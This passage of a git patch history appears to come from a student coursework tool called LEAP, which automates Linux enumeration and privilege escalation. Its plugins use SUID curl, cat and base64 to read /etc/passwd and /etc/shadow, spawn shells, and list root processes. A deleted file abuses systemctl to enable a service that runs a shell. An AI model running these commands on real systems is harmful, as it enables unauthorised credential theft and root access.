dictionary.items(): - if choose == key: - os.system(value) + if choose == key: #if the choose its equal to key + os.system(value) #than print the corresponding enumeration + #append this enumeration to the list if choose == "s1": var.append(grabOutput(['ps', 'aux'])) elif choose == "s2": var.append(grabOutput(['ps', 'aux', '|', 'grep root'])) elif choose == "s3": var.append(grabOutput(['ls', '-alh', '/sbin'])) - + + #option if the user want or not the enumeration information inside the file create_file = input("\nDo you want save this information in a file: YES or NO ") if create_file == "YES": - directory = "service_application" - name = input("Name of the file: ") + print("Directories: \n") + os.system("ls ../gather_info/") #show the directories inside the /gather_info/ + directory = input("Name of the directory: ") #choose the directory name + name = input("Name of the file: ") #choose the file name print('\033c') for i in var: - file(create_file, name, directory, i + "-"*60 + '\n' ) + file(create_file, name, directory, i + "-"*60 + '\n' ) #call the function and pass information into a file - enum = input("\nDo you want execute other FileSytem Enumeration ?") + enum = input("\nDo you want execute other FileSytem Enumeration ? YES or NO ") #option if user want run again - else: - enum = input("\nDo you want execute other FileSytem Enumeration ?") + else: #if the user dont want a file + enum = input("\nDo you want execute other FileSytem Enumeration ? YES or NO ") #option if user want run again print('\033c') - - -#cat /etc/passwd | cut -d : -f 1 @@ -182,14 +185,14 @@ def __init__(self): def execute(self): os.system("systeminfo") - +#this is a Enumeration with simple information class HostInfo(Enumeration): def __init__(self): Enumeration.__init__(self) print("\n", end="") - + print('\tHostname: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + grabOutput(["hostname"]) + bcolors.ENDC, end="") - + print('\n\tUser: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + grabOutput(["whoami"]) + bcolors.ENDC, end="") print('\n\tCurrently Logged in Users: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + grabOutput(["who", "-H"]) + bcolors.ENDC, end="") @@ -198,9 +201,6 @@ def __init__(self): print('\n\n\tCurrent Directory: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + os.getcwd() + bcolors.ENDC, end="") - - #print('\n\tUser: ' + '\n\t-> ' + grabOutput("w"), end="") - print("\n\n\tID Info: ") idData = grabOutput("id") parts = idData.split(" ") diff --git a/src/leap.py b/src/leap.py index 72329d5b..543bd557 100755 --- a/src/leap.py +++ b/src/leap.py @@ -5,7 +5,7 @@ #--PRIVILEGE ESCALATION------------------ from js_plugins import Curl -from js_plugins import Python +from js_plugins import Cat #--ENUMERATION--------------------------- @@ -30,7 +30,7 @@ #Make a list of available privescs pes=[] pes.append(Curl()) - pes.append(Python()) + pes.append(Cat()) diff --git a/src/tt.py b/src/tt.py deleted file mode 100644 index f92d2e75..00000000 --- a/src/tt.py +++ /dev/null @@ -1,18 +0,0 @@ -import os -import sys - -os.system("TF=$(mktemp).service") -os.system("echo '[Service]") -os.system("Type=oneshot") -os.system("ExecStart=/bin/sh -c id > /tmp/output'") -os.system("[Install]") -os.system("WantedBy=multi-user.target' > $TF") -os.system("./systemctl link $TF") -os.system("./systemctl enable --now $TF") - - - - - - - From 1a5ce0937d9e4331a4a4347bd023e40c6ca1cee9 Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Fri, 11 Dec 2020 13:33:46 +0000 Subject: [PATCH 24/31] Update correction of one mistake version 7 --- gather_info/service_application/ps.txt | 9 --------- src/js_plugins.py | 2 +- 2 files changed, 1 insertion(+), 10 deletions(-) delete mode 100644 gather_info/service_application/ps.txt diff --git a/gather_info/service_application/ps.txt b/gather_info/service_application/ps.txt deleted file mode 100644 index 2df6e1ff..00000000 --- a/gather_info/service_application/ps.txt +++ /dev/null @@ -1,9 +0,0 @@ -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND -root 1 0.0 0.0 8936 316 ? Ssl 10:19 0:00 /init -root 6279 0.0 0.0 18920 2872 ? T 17:22 0:00 sudo vim /etc/pam.d/su -root 6280 0.0 0.0 29696 6872 ? T 17:23 0:00 vim /etc/pam.d/su -root 6840 0.0 0.0 8944 232 tty2 Ss 23:40 0:00 /init -mospher 6841 0.0 0.0 18212 3656 tty2 S 23:40 0:00 /bin/bash --login -mospher 6870 0.0 0.0 26736 9460 tty2 S 23:41 0:00 python3 leap.py -mospher 6883 0.0 0.0 18648 1892 tty2 R 23:43 0:00 ps aux ------------------------------------------------------------- diff --git a/src/js_plugins.py b/src/js_plugins.py index 26a7a438..2728aecb 100644 --- a/src/js_plugins.py +++ b/src/js_plugins.py @@ -4,7 +4,7 @@ from subprocess import Popen, PIPE -from colors import bcolors #this library is to use colores +from colors import bcolors import platform From a44fb44377c51a4d50d30912b6ac5d1748759496 Mon Sep 17 00:00:00 2001 From: "Joshua Hallstrom (hallstromj)" Date: Fri, 11 Dec 2020 14:26:11 +0000 Subject: [PATCH 25/31] Delete enumeration.txt --- documents/enumeration.txt | 51 --------------------------------------- 1 file changed, 51 deletions(-) delete mode 100644 documents/enumeration.txt diff --git a/documents/enumeration.txt b/documents/enumeration.txt deleted file mode 100644 index d15f7c1e..00000000 --- a/documents/enumeration.txt +++ /dev/null @@ -1,51 +0,0 @@ - - #subprocess.call('cat /proc/version', shell=True) - - #configuration files can be read/written in /etc/ - #subprocess.call('find /etc/ -readable -type f 2>/dev/null', shell=True) - - #information can be found in /var/ - #subprocess.call("ls -alh /var/log", shell=True) - - - #print("\tCurrent Directory:", "\n\t\t-> " + grabOutput("pwd")) - - - - Enumeration of services and applications - - ->What services are running, and in which user-context (which user has privilege) - ->What are the versions of the running services? - ->What applications are installed, and what versions? It might be worth to check if they are currently running - ->Do any of these services have vulnerable plugins or configurations. - ->What jobs are scheduled? - ->Any plain text usernames and/or passwords? - - Enumeration of the file-systems - - ->What configuration files can be read/written in /etc/ ? - ->What information can be found in /var/ ? - ->Any settings/files (hidden) on website? Any settings file with database information? - ->Is there anything in the log file(s) (Could help with “Local File Includes”!) - ->Identify SUID and GUID files - - - - - - - - - - - - - - - - - - - - - From 6135d563c331a47ea992f146043b98e02a0b2cdb Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Fri, 11 Dec 2020 14:35:06 +0000 Subject: [PATCH 26/31] Test Update --- src/leap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/leap.py b/src/leap.py index 543bd557..5aa667c6 100755 --- a/src/leap.py +++ b/src/leap.py @@ -16,7 +16,7 @@ #--LIBRARIES---------------------------- import time import os -import subprocess +import subprocess #s import argparse import platform import argparse From fc20c9a57d04f5c7666a2a7594ff2dcab1a853c9 Mon Sep 17 00:00:00 2001 From: Gav Date: Fri, 11 Dec 2020 16:01:15 +0000 Subject: [PATCH 27/31] implemented teammates code, and removed unnecessary files --- documents/links.txt | 3 - src/all_information.py | 18 ----- src/colors.py | 46 ------------- src/commandline.py | 40 ----------- src/js_plugins.py | 92 +++---------------------- src/leap.py | 8 ++- src/pg_plugins.py | 152 +++++++++++++++++++++++++++++++++++++++++ src/progresse_bar.py | 13 ---- tests/test_dummy.py | 23 ------- 9 files changed, 168 insertions(+), 227 deletions(-) delete mode 100644 documents/links.txt delete mode 100644 src/all_information.py delete mode 100644 src/colors.py delete mode 100644 src/commandline.py create mode 100644 src/pg_plugins.py delete mode 100644 src/progresse_bar.py delete mode 100644 tests/test_dummy.py diff --git a/documents/links.txt b/documents/links.txt deleted file mode 100644 index b5f8ca9c..00000000 --- a/documents/links.txt +++ /dev/null @@ -1,3 +0,0 @@ - -Python Execute Unix / Linux Command Examples: -https://www.cyberciti.biz/faq/python-execute-unix-linux-command-examples/ \ No newline at end of file diff --git a/src/all_information.py b/src/all_information.py deleted file mode 100644 index 33e0aecc..00000000 --- a/src/all_information.py +++ /dev/null @@ -1,18 +0,0 @@ - -from colors import bcolors - -from js_plugins import HostInfo - -import os -import subprocess - -if __name__=="__main__": - - print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[BASIC INFORMATION]" + bcolors.ENDC + bcolors.CGREY + "="*37 + bcolors.ENDC) - - ens=[] - ens.append(HostInfo()) - - - print(bcolors.CGREY + "="*60 + bcolors.ENDC) - \ No newline at end of file diff --git a/src/colors.py b/src/colors.py deleted file mode 100644 index da1bb558..00000000 --- a/src/colors.py +++ /dev/null @@ -1,46 +0,0 @@ -class bcolors: - HEADER = '\033[95m' - OKBLUE = '\033[94m' - OKCYAN = '\033[96m' - OKGREEN = '\033[92m' - WARNING = '\033[93m' - FAIL = '\033[91m' - ENDC = '\033[0m' - BOLD = '\033[1m' - UNDERLINE = '\033[4m' - - CBLACK = '\33[30m' - CRED = '\33[31m' - CGREEN = '\33[32m' - CYELLOW = '\33[33m' - CBLUE = '\33[34m' - CVIOLET = '\33[35m' - CBEIGE = '\33[36m' - CWHITE = '\33[37m' - - CBLACKBG = '\33[40m' - CREDBG = '\33[41m' - CGREENBG = '\33[42m' - CYELLOWBG = '\33[43m' - CBLUEBG = '\33[44m' - CVIOLETBG = '\33[45m' - CBEIGEBG = '\33[46m' - CWHITEBG = '\33[47m' - - CGREY = '\33[90m' - CRED2 = '\33[91m' - CGREEN2 = '\33[92m' - CYELLOW2 = '\33[93m' - CBLUE2 = '\33[94m' - CVIOLET2 = '\33[95m' - CBEIGE2 = '\33[96m' - CWHITE2 = '\33[97m' - - CGREYBG = '\33[100m' - CREDBG2 = '\33[101m' - CGREENBG2 = '\33[102m' - CYELLOWBG2 = '\33[103m' - CBLUEBG2 = '\33[104m' - CVIOLETBG2 = '\33[105m' - CBEIGEBG2 = '\33[106m' - CWHITEBG2 = '\33[107m' \ No newline at end of file diff --git a/src/commandline.py b/src/commandline.py deleted file mode 100644 index 636340f8..00000000 --- a/src/commandline.py +++ /dev/null @@ -1,40 +0,0 @@ -import argparse -import os, sys -import subprocess - - - -parser = argparse.ArgumentParser() - -parser.add_argument('-enum', help="execute a enumeration -> -enum [enumeration]") - -parser.add_argument("-d", help="\tchoose the file directory -> -d [/directory]") -parser.add_argument('--create', help="create a file -> --create [file_name].txt") - - -args = parser.parse_args() - -#dictionary -dic = { 'E1':'find /etc/ -readable -type f 2>/dev/null', 'E2':'whoami'} - - -if args.enum: - for key, value in dic.items(): - if args.enum == key: - os.system(value) -elif args.enum is None: - pass - -if args.create: - for key, value in dic.items(): - if args.enum == key: - with open(f"{args.d}{args.create}.txt", "w+") as file: - file.write(os.popen(value).read()) -elif args.create is None: - pass - - - - - - diff --git a/src/js_plugins.py b/src/js_plugins.py index 2728aecb..2d9f9a11 100644 --- a/src/js_plugins.py +++ b/src/js_plugins.py @@ -41,22 +41,7 @@ def checkBinary(p): return(exists, suid) -#function to create a file -def file(choose, name, directory, text): - """ - choose: option if the user want or not paste information inside the file - name: name of the file what user choose - directory: where the file is stay - text: the content of enumeration gonn pass inside the file - """ - if choose == "YES": - #append and read a file [a+] - with open(f"../gather_info/{directory}/{name}.txt", "a+") as f: # a+ -> append + read in a file - f.write(text) # write content (text) inside the file - os.system(f"cat ../gather_info/{directory}/{name}.txt") #show information inside the file - - elif choose == "NO": - print("Display Information") + class Curl(PrivEsc): @@ -101,21 +86,10 @@ def execute(self): var.append(grabOutput(['ls', '-alh', '/var/mail'])) var.append(grabOutput(['ls', '-alh', '/var/spool'])) - #option if the user want or not the enumeration information inside the file - create_file = input("Do you want save this information in a file: YES or NO ") - if create_file == "YES": - print('\033c') - print("Directories: \n") - os.system("ls ../gather_info/") #show the directories inside the /gather_info/ - directory = input("Name of the directory: ") #choose the directory name - name = input("Name of the file: ") #choose the file name - print('\033c') - for i in var: - file(create_file, name, directory, i + "-"*60 + '\n' ) #call the function and pass information into a file - else: #if the user dont want a file - print('\033c') - for i in var: #just print the enumeration - print(i) + #option if the user want or not the enumeration information inside the f + print('\033c') + for i in var: #just print the enumeration + print(i) class Service_Applications(Enumeration): @@ -156,64 +130,16 @@ def execute(self): var.append(grabOutput(['ls', '-alh', '/sbin'])) #option if the user want or not the enumeration information inside the file - create_file = input("\nDo you want save this information in a file: YES or NO ") - - if create_file == "YES": - print("Directories: \n") - os.system("ls ../gather_info/") #show the directories inside the /gather_info/ - directory = input("Name of the directory: ") #choose the directory name - name = input("Name of the file: ") #choose the file name - print('\033c') - for i in var: - file(create_file, name, directory, i + "-"*60 + '\n' ) #call the function and pass information into a file - - enum = input("\nDo you want execute other FileSytem Enumeration ? YES or NO ") #option if user want run again - - else: #if the user dont want a file - enum = input("\nDo you want execute other FileSytem Enumeration ? YES or NO ") #option if user want run again - print('\033c') + + + enum = input("\nDo you want execute other FileSytem Enumeration ? YES or NO ") #option if user want run again + print('\033c') -class Windows(Enumeration): - def __init__(self): - Enumeration.__init__(self) - self.name="Windows Enumeration" - self.author="Pedro Tinoco" - self.description="get the system information of target system, this includes installed hotfixes" - self.version = "1.0" - def execute(self): - os.system("systeminfo") - -#this is a Enumeration with simple information -class HostInfo(Enumeration): - def __init__(self): - Enumeration.__init__(self) - print("\n", end="") - - print('\tHostname: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + grabOutput(["hostname"]) + bcolors.ENDC, end="") - print('\n\tUser: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + grabOutput(["whoami"]) + bcolors.ENDC, end="") - print('\n\tCurrently Logged in Users: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + grabOutput(["who", "-H"]) + bcolors.ENDC, end="") - print('\n\tOS: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + platform.system() + bcolors.ENDC, end="") - print('\n\n\tCurrent Directory: ' + '\n\t-> ' + bcolors.BOLD + bcolors.UNDERLINE + os.getcwd() + bcolors.ENDC, end="") - - print("\n\n\tID Info: ") - idData = grabOutput("id") - parts = idData.split(" ") - for part in parts[:2]: - print(f"\t-> " + bcolors.BOLD + bcolors.UNDERLINE + part + bcolors.ENDC) - print("\n\tGroup Info: ") - groups = parts[2][7:].split() #put split(",") and make like id format - for g in groups: - print(f"\t-> " + bcolors.BOLD + bcolors.UNDERLINE + g + bcolors.ENDC) - - - - - \ No newline at end of file diff --git a/src/leap.py b/src/leap.py index d947391f..7a9e03d1 100755 --- a/src/leap.py +++ b/src/leap.py @@ -2,11 +2,12 @@ import platform import sys -from js_plugins import DumbSudoEscalation + from jh_plugins import lEnum_OperatingSystem from jh_plugins import lEnum_ConfidentialInfoandUsers from jh_plugins import lPrivesc_Base64Escalator from jh_plugins import wEnum_WindowsServices +from pg_plugins import Curl, Cat, FileSystem, Service_Applications if __name__=="__main__": @@ -15,16 +16,21 @@ #Make a list of available privescs pes=[] pes.append(lPrivesc_Base64Escalator()) + pes.append(Curl()) + pes.append(Cat()) #And enumerations ens=[] ens.append(lEnum_OperatingSystem()) ens.append(lEnum_ConfidentialInfoandUsers()) + ens.append(FileSystem()) + ens.append(Service_Applications()) elif system=="Windows": pes=[] ens=[] ens.append(wEnum_WindowsServices()) + ens.append(WindowsSystemInfo()) if len(sys.argv) > 1: if sys.argv[1]=='enumerate': diff --git a/src/pg_plugins.py b/src/pg_plugins.py new file mode 100644 index 00000000..1303720b --- /dev/null +++ b/src/pg_plugins.py @@ -0,0 +1,152 @@ +""" Plugins for LEAP designed by James Shuttleworth """ + +from plugins import PrivEsc, Enumeration + +from subprocess import Popen, PIPE + +import platform + +import os, subprocess, tempfile, pathlib, pty, stat + +import tempfile + + +# A very basic method, but useful +def shellRun(command): + """ Put given commands into a temporary file, spawn a shell and explain how to use the command """ + f = tempfile.NamedTemporaryFile(delete=False) + fname=f.name + f.write(command.encode()) + f.close() + os.system(f"chmod u+x {fname}") + print(f"Execute command with '{fname}'...\nCtrl-D to leave shell") + + pty.spawn("/bin/bash") + #os.system(fname) + os.unlink(fname) + print('\033c') # clean console + +def grabOutput(command): + sp = subprocess.run(command, stdout=subprocess.PIPE) + return sp.stdout.decode() + +def checkBinary(p): + pl=pathlib.Path(p) + exists = pl.exists() + suid=False + if exists: + suid=(pl.stat().st_mode & stat.S_ISUID) != 0 + + return(exists, suid) + + + + +class Curl(PrivEsc): + def __init__(self): + self.name="CurlEscalator" + self.author="" + self.description="" + def execute(self): + print('\033c') # clean console + curlPath="/usr/bin/curl" + suid=checkBinary(curlPath) + if not suid: + print(f"{curlPath} does not exist SUID bit set" ) + return + output = grabOutput(["/usr/bin/curl", "file:///etc/passwd"]) + print(output) + +class Cat(PrivEsc): + def __init__(self): + self.name="Python" + self.author="Pedro Tinoco" + self.description="CAT Privilege" + def execute(self): + print('\033c') # clean console + output = grabOutput(["./cat /etc/shadow"]) + print(output) + + +class FileSystem(Enumeration): + def __init__(self): + Enumeration.__init__(self) + self.name="File Systems" + self.author="Pedro Tinoco" + self.description="What can be found in /var/" + self.version = "2.0" + def execute(self): + print('\033c') + var = [] #empty list + + #append this enumeration to the list + var.append(grabOutput(['ls', '-alh', '/var/log'])) + var.append(grabOutput(['ls', '-alh', '/var/mail'])) + var.append(grabOutput(['ls', '-alh', '/var/spool'])) + + #option if the user want or not the enumeration information inside the f + print('\033c') + for i in var: #just print the enumeration + print(i) + + +class Service_Applications(Enumeration): + def __init__(self): + Enumeration.__init__(self) + self.name="Service and Applications" + self.author="Pedro Tinoco" + self.description="Services are runnig" + self.version = "1.0" + def execute(self): + print('\033c') # clean console + + enum = "YES" + + while enum == "YES": #while user want run the servie applications enumeration the (enum) = TRUE + + var = [] # empty list + + #dictionary with service application enumerations + dictionary = {"s1":"ps aux", "s2":"ps aux | grep root", "s3":"ls -alh /sbin/"} + + #this going to print the key (s1/s2/s3) and the corresponding value + for key, value in dictionary.items(): + print(f'{key}={value}\n') + + #choose what enumeration the user want run + choose = input("Select Service Application Enumeration: ") + for key, value in dictionary.items(): + if choose == key: #if the choose its equal to key + os.system(value) #than print the corresponding enumeration + + #append this enumeration to the list + if choose == "s1": + var.append(grabOutput(['ps', 'aux'])) + elif choose == "s2": + var.append(grabOutput(['ps', 'aux', '|', 'grep root'])) + elif choose == "s3": + var.append(grabOutput(['ls', '-alh', '/sbin'])) + + #option if the user want or not the enumeration information inside the file + + + enum = input("\nDo you want execute other FileSytem Enumeration ? YES or NO ") #option if user want run again + print('\033c') + + + +class Windows(Enumeration): + def __init__(self): + Enumeration.__init__(self) + self.name="Windows Enumeration" + self.author="Pedro Tinoco" + self.description="get the system information of target system, this includes installed hotfixes" + self.version = "1.0" + def execute(self): + os.system("systeminfo") + + + + + + diff --git a/src/progresse_bar.py b/src/progresse_bar.py deleted file mode 100644 index 243ba512..00000000 --- a/src/progresse_bar.py +++ /dev/null @@ -1,13 +0,0 @@ - -import sys - -def progress(count, total, status=''): - bar_len = 50 - filled_len = int(round(bar_len * count / float(total))) - - percents = round(100 * count / float(total), 1) - bar = '|' * filled_len + '-' * (bar_len - filled_len) - - sys.stdout.write('[%s] %s%s %s\r' % (bar, percents, '%', status)) - sys.stdout.flush() - diff --git a/tests/test_dummy.py b/tests/test_dummy.py deleted file mode 100644 index afbfee33..00000000 --- a/tests/test_dummy.py +++ /dev/null @@ -1,23 +0,0 @@ -import pytest -import sys -import platform -sys.path.append("../src/") -import js_plugins -import plugins - - - -def test_grabOutput(): - output=js_plugins.grabOutput(["which", "doesnotexist"]) - assert len(output)==0 - -def test_grabOutput_something(): - output=js_plugins.grabOutput(["which", "ls"]) - assert len(output)>0 - assert "ls" in output - - -def test_hostinfo(): - h=js_plugins.HostInfo() - assert isinstance(h,plugins.Enumeration) - assert isinstance(h,plugins.Item) From ef31b0068712f06ba08811301a661a9fd4d98e27 Mon Sep 17 00:00:00 2001 From: Gav Date: Fri, 11 Dec 2020 16:02:37 +0000 Subject: [PATCH 28/31] Removed 1 more unnecessary file --- src/js_plugins.py | 145 ---------------------------------------------- 1 file changed, 145 deletions(-) delete mode 100644 src/js_plugins.py diff --git a/src/js_plugins.py b/src/js_plugins.py deleted file mode 100644 index 2d9f9a11..00000000 --- a/src/js_plugins.py +++ /dev/null @@ -1,145 +0,0 @@ -""" Plugins for LEAP designed by James Shuttleworth """ - -from plugins import PrivEsc, Enumeration - -from subprocess import Popen, PIPE - -from colors import bcolors - -import platform - -import os, subprocess, tempfile, pathlib, pty, stat - -import tempfile - - -# A very basic method, but useful -def shellRun(command): - """ Put given commands into a temporary file, spawn a shell and explain how to use the command """ - f = tempfile.NamedTemporaryFile(delete=False) - fname=f.name - f.write(command.encode()) - f.close() - os.system(f"chmod u+x {fname}") - print(f"Execute command with '{fname}'...\nCtrl-D to leave shell") - - pty.spawn("/bin/bash") - #os.system(fname) - os.unlink(fname) - print('\033c') # clean console - -def grabOutput(command): - sp = subprocess.run(command, stdout=subprocess.PIPE) - return sp.stdout.decode() - -def checkBinary(p): - pl=pathlib.Path(p) - exists = pl.exists() - suid=False - if exists: - suid=(pl.stat().st_mode & stat.S_ISUID) != 0 - - return(exists, suid) - - - - -class Curl(PrivEsc): - def __init__(self): - self.name="CurlEscalator" - self.author="" - self.description="" - def execute(self): - print('\033c') # clean console - curlPath="/usr/bin/curl" - suid=checkBinary(curlPath) - if not suid: - print(f"{curlPath} does not exist SUID bit set" ) - return - output = grabOutput(["/usr/bin/curl", "file:///etc/passwd"]) - print(output) - -class Cat(PrivEsc): - def __init__(self): - self.name="Python" - self.author="Pedro Tinoco" - self.description="CAT Privilege" - def execute(self): - print('\033c') # clean console - output = grabOutput(["./cat /etc/shadow"]) - print(output) - - -class FileSystem(Enumeration): - def __init__(self): - Enumeration.__init__(self) - self.name="File Systems" - self.author="Pedro Tinoco" - self.description="What can be found in /var/" - self.version = "2.0" - def execute(self): - print('\033c') - var = [] #empty list - - #append this enumeration to the list - var.append(grabOutput(['ls', '-alh', '/var/log'])) - var.append(grabOutput(['ls', '-alh', '/var/mail'])) - var.append(grabOutput(['ls', '-alh', '/var/spool'])) - - #option if the user want or not the enumeration information inside the f - print('\033c') - for i in var: #just print the enumeration - print(i) - - -class Service_Applications(Enumeration): - def __init__(self): - Enumeration.__init__(self) - self.name="Service and Applications" - self.author="Pedro Tinoco" - self.description="Services are runnig" - self.version = "1.0" - def execute(self): - print('\033c') # clean console - - enum = "YES" - - while enum == "YES": #while user want run the servie applications enumeration the (enum) = TRUE - - var = [] # empty list - - #dictionary with service application enumerations - dictionary = {"s1":"ps aux", "s2":"ps aux | grep root", "s3":"ls -alh /sbin/"} - - #this going to print the key (s1/s2/s3) and the corresponding value - for key, value in dictionary.items(): - print(f'{key}={value}\n') - - #choose what enumeration the user want run - choose = input("Select Service Application Enumeration: ") - for key, value in dictionary.items(): - if choose == key: #if the choose its equal to key - os.system(value) #than print the corresponding enumeration - - #append this enumeration to the list - if choose == "s1": - var.append(grabOutput(['ps', 'aux'])) - elif choose == "s2": - var.append(grabOutput(['ps', 'aux', '|', 'grep root'])) - elif choose == "s3": - var.append(grabOutput(['ls', '-alh', '/sbin'])) - - #option if the user want or not the enumeration information inside the file - - - enum = input("\nDo you want execute other FileSytem Enumeration ? YES or NO ") #option if user want run again - print('\033c') - - - - - - - - - From 2071e2b608cf4fdaea9b7a5e0a1d8215eb872238 Mon Sep 17 00:00:00 2001 From: Gav Date: Fri, 11 Dec 2020 16:33:53 +0000 Subject: [PATCH 29/31] Created tests --- tests/tests.py | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 tests/tests.py diff --git a/tests/tests.py b/tests/tests.py new file mode 100644 index 00000000..6d718d04 --- /dev/null +++ b/tests/tests.py @@ -0,0 +1,30 @@ +import pytest +import sys +sys.path.append("./src/") +import leap +import jh_plugins +import platform +import plugins + +def test_grabOutput_nothing(): + output=jh_plugins.grabOutput(["which", "doesnotexist"]) + assert len(output)==0, "Which did not return an empty string when asked for a binary which shouldn't exist" +def test_grabOutput_something(): + output=jh_plugins.grabOutput(["which","ls"]) + assert len(output)>0 + assert "ls" in output + +def test_lEnum_OperatingSystem(): + h=jh_plugins.lEnum_OperatingSystem() + assert isinstance(h,plugins.Enumeration) + assert isinstance(h,plugins.Item) + info=h.info() + assert "ENUMERATION" in info + assert "lEnum_OperatingSystem" in info + assert "Josh Hallstrom" in info + +def test_checkBinary(): + output=jh_plugins.checkBinary("/bin/cat") + assert output==False + + From a50109c4396b5b6d3bd4dde7493f34748dbea3e0 Mon Sep 17 00:00:00 2001 From: Gav Date: Fri, 11 Dec 2020 17:29:50 +0000 Subject: [PATCH 30/31] final touches, added more comments --- src/jh_plugins.py | 2 -- src/leap.py | 14 +++++++------- src/pg_plugins.py | 2 +- 3 files changed, 8 insertions(+), 10 deletions(-) diff --git a/src/jh_plugins.py b/src/jh_plugins.py index 2b1c760f..e3cd3941 100644 --- a/src/jh_plugins.py +++ b/src/jh_plugins.py @@ -1,5 +1,3 @@ -""" Plugins for LEAP designed by Josh Hallstrom""" - from plugins import PrivEsc, Enumeration import os, tempfile diff --git a/src/leap.py b/src/leap.py index 7a9e03d1..288a0f97 100755 --- a/src/leap.py +++ b/src/leap.py @@ -11,7 +11,7 @@ if __name__=="__main__": - system=platform.system() + system=platform.system() #checks what the current operating system is, and then uses that to determine what options to give the user if system=="Linux": #Make a list of available privescs pes=[] @@ -32,8 +32,8 @@ ens.append(wEnum_WindowsServices()) ens.append(WindowsSystemInfo()) - if len(sys.argv) > 1: - if sys.argv[1]=='enumerate': + if len(sys.argv) > 1: #check to see if there was an argument given + if sys.argv[1]=='enumerate': #if the enumerate argument was given, run all enumerations in order and print result to the terminal for i in range(len(ens)): print(ens[i].info()) ens[i].execute() @@ -86,11 +86,11 @@ yesno=input("Y/N: ") if yesno.strip()=="Y": filename=input("Enter name of file/full file path: ") - data=open(filename, 'w') - sys.stdout=data + data=open(filename, 'w') #opens the file with the file name given + sys.stdout=data #sets output pipe to the file, so everything printed goes to the file chosen.execute() - sys.stdout=sys.__stdout__ - data.close + sys.stdout=sys.__stdout__ #resets output pipe to default + data.close #closes the file else: chosen.execute() diff --git a/src/pg_plugins.py b/src/pg_plugins.py index 1303720b..ad57eed9 100644 --- a/src/pg_plugins.py +++ b/src/pg_plugins.py @@ -54,7 +54,7 @@ def execute(self): if not suid: print(f"{curlPath} does not exist SUID bit set" ) return - output = grabOutput(["/usr/bin/curl", "file:///etc/passwd"]) + output = grabOutput(["/usr/bin/curl", "/etc/shadow"]) print(output) class Cat(PrivEsc): From f2477eb6ac949dfecb0c316c24daab3bbb18e148 Mon Sep 17 00:00:00 2001 From: Gav Date: Fri, 11 Dec 2020 17:32:43 +0000 Subject: [PATCH 31/31] removed mentions of names for anonymous marking :) --- src/jh_plugins.py | 8 ++++---- src/pg_plugins.py | 10 ++++------ 2 files changed, 8 insertions(+), 10 deletions(-) diff --git a/src/jh_plugins.py b/src/jh_plugins.py index e3cd3941..4a0d890e 100644 --- a/src/jh_plugins.py +++ b/src/jh_plugins.py @@ -20,7 +20,7 @@ class lEnum_ConfidentialInfoandUsers(Enumeration): def __init__(self): Enumeration.__init__(self) self.name="lEnum_ConfidentialInfoandUsers" - self.author="Josh Hallstrom" + self.author="Anonymous hacker" self.description="Gathers information on the hosts confidential information and users" def execute(self): print("Executing...") @@ -68,7 +68,7 @@ class lEnum_OperatingSystem(Enumeration): def __init__(self): Enumeration.__init__(self) self.name="lEnum_OperatingSystem" - self.author="Josh Hallstrom" + self.author="Anonymous Hacker" self.description="Gathers information on the host operating system" def execute(self): print("Executing...") @@ -91,7 +91,7 @@ class wEnum_WindowsServices(Enumeration): def __init__(self): Enumeration.__init__(self) self.name="wEnum_WindowsServices" - self.author="Josh Hallstrom" + self.author="Anonymous Hacker" self.description="Displays all started Windows services" def execute(self): print("Executing...") @@ -105,7 +105,7 @@ class lPrivesc_Base64Escalator(PrivEsc): def __init__(self): PrivEsc.__init__(self) self.name="Base64Escalator" - self.author="Josh Hallstrom" + self.author="Anonymous Hacker" self.description="Uses a dangerous SUID bit on Base64 to get the contents of /etc/shadow" def execute(self): print() diff --git a/src/pg_plugins.py b/src/pg_plugins.py index ad57eed9..3a5d2de9 100644 --- a/src/pg_plugins.py +++ b/src/pg_plugins.py @@ -1,5 +1,3 @@ -""" Plugins for LEAP designed by James Shuttleworth """ - from plugins import PrivEsc, Enumeration from subprocess import Popen, PIPE @@ -60,7 +58,7 @@ def execute(self): class Cat(PrivEsc): def __init__(self): self.name="Python" - self.author="Pedro Tinoco" + self.author="Teammate" self.description="CAT Privilege" def execute(self): print('\033c') # clean console @@ -72,7 +70,7 @@ class FileSystem(Enumeration): def __init__(self): Enumeration.__init__(self) self.name="File Systems" - self.author="Pedro Tinoco" + self.author="Teammate" self.description="What can be found in /var/" self.version = "2.0" def execute(self): @@ -94,7 +92,7 @@ class Service_Applications(Enumeration): def __init__(self): Enumeration.__init__(self) self.name="Service and Applications" - self.author="Pedro Tinoco" + self.author="Teammate" self.description="Services are runnig" self.version = "1.0" def execute(self): @@ -139,7 +137,7 @@ class Windows(Enumeration): def __init__(self): Enumeration.__init__(self) self.name="Windows Enumeration" - self.author="Pedro Tinoco" + self.author="Teammate" self.description="get the system information of target system, this includes installed hotfixes" self.version = "1.0" def execute(self):